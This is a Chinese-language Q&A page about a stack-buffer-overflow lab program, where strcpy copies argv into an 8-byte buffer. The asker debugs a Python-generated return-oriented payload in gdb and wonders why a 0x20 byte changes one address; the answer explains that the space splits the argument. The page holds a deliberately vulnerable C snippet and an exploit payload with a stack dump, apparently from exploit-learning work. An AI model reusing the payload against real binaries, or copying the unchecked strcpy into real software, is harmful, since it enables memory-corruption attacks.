如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上相关的知识,希望对你有一定的参考价值。

我在这里有一个非常基本的疑问。

请考虑以下示例C程序在Ubuntu 32位小端机器上运行。

#include <string.h>
#include <unistd.h>
int main (int argc, char **argv)
{
    char buf [8];
    strcpy(buf, argv[1]);
    system("/usr/bin/false");
}

现在我了解上述代码的安全含义。让我们暂时搁置一下。

在上面的代码中,buf是一个局部变量。这意味着此缓冲区的空间将位于堆栈上。现在我们使用strcpy()将用户输入复制到缓冲区。用户输入本身是在命令行上获取的。

现在说程序是用gdb运行的:

gdb program

现在,如果用户输入给了程序,则从gdb提示符,如下:

运行python -c "print 'A'*12 + 'x10x83x04x08' + 'xdax84x04x08' + 'x24xa0x04x08' + 'x62x81x04x08' + 'x10x83x04x08' + 'xdax84x04x08' + 'x25xa0x04x08' + 'xd8x80x04x08' + 'x10x83x04x08' + 'xdax84x04x08' + 'x26xa0x04x08' + 'x13x85x04x08' + 'x20x83x04x08' + 'A'*4 + 'x24xa0x04x08';"

堆栈的内容如下:

(gdb) x/20wx $esp
0xbffff5b0: 0x41414141  0x41414141  0x41414141  0x08048310
0xbffff5c0: 0x080484da  0x0804a024  0x08048162  0x08048310
0xbffff5d0: 0x080484da  0x0804a025  0x080480d8  0x08048310
0xbffff5e0: 0x080484da  0x0804a026  0x08048513  0x08048300
0xbffff5f0: 0x00000000  0x6fb0e3f2  0x53b687e2  0x00000000

在地址0xbffff5e0的极右手边的词是0x08048300。根据给出的输入,它应该是0x08048320

为什么不如预期?令我印象深刻的是,预期的地址0x0804832020结尾,这是一个空格字符。是否有可能因为它是一个空格字符作为输入传递给程序,它被认为是程序的输入结束,因此它根本不会复制任何东西?

答案

你是正确的,strcpy()会在遇到null时停止复制,并且它会在复制的内容中附加一个null。你在这看到的不是那个。 0x20(空格字符)不会影响strcpy(),但它将被C运行时本身用作重要字符。

如你所知,char **argv是一个指向字符数组列表的指针,每个字符数组都代表命令行中的一个参数。即使你正在从Python传递数据并将其表示为十六进制数据,因为它被翻译,你的数据中有一个空格:'x20x83x04x08'对于C运行时处理参数,这会将0x08048320分解为0x08048300,因为它将查看空间作为分隔符。

为了证明这种情况,请使用python脚本并将字符串输出到stdout而不是管道。

以上是关于如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上的主要内容,如果未能解决你的问题,请参考以下文章

用户键盘输入模块java.util.Scanner

允许用户从Web.config获取IIS授权角色

Vue之验证用户名是否可用

java 如何获取当前AD域用户名?

用户在PEGA中输入值时,检查数据库中是否已存在用户名

通过 EditText 获取用户输入 [重复]